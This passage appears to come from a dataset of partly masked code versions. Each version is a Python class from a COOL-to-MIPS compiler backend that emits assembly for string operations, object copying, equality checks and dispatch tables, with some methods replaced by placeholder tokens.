self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n 